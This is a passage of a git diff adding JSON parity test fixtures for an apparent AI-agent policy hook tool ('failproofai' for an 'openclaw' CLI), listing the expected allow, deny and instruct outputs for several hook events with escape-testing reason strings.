\\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/FileChanged/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/FileChanged/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..c35bd408 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/FileChanged/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/InstructionsLoaded/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/InstructionsLoaded/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..f0634792 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/InstructionsLoaded/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/InstructionsLoaded/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/InstructionsLoaded/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..926aee70 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/InstructionsLoaded/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/InstructionsLoaded/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/InstructionsLoaded/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..49e29b79 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/InstructionsLoaded/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/InstructionsLoaded/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/InstructionsLoaded/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..3f0ec1fb --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/InstructionsLoaded/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..6427730c --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..36134f31 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..01754098 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..135d60b3 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/InstructionsLoaded/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/InstructionsLoaded/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..2cef342a --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/InstructionsLoaded/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/InstructionsLoaded/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/InstructionsLoaded/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..05b2c1f8 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/InstructionsLoaded/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/InstructionsLoaded/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/InstructionsLoaded/deny__tool-present__one-policy.json new file mode 100644 index 00000000..ccb78c73 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/InstructionsLoaded/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/InstructionsLoaded/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/InstructionsLoaded/deny__tool-present__two-policies.json new file mode 100644 index 00000000..67d567eb --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/InstructionsLoaded/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/InstructionsLoaded/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/InstructionsLoaded/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..c1e31f5c --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/InstructionsLoaded/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/InstructionsLoaded/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/InstructionsLoaded/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..0699d188 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/InstructionsLoaded/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/InstructionsLoaded/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/InstructionsLoaded/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..9309d9f6 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/InstructionsLoaded/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/InstructionsLoaded/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/InstructionsLoaded/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..ad2ee42b --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/InstructionsLoaded/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/Notification/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/Notification/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..03cd1d9d --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Notification/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + 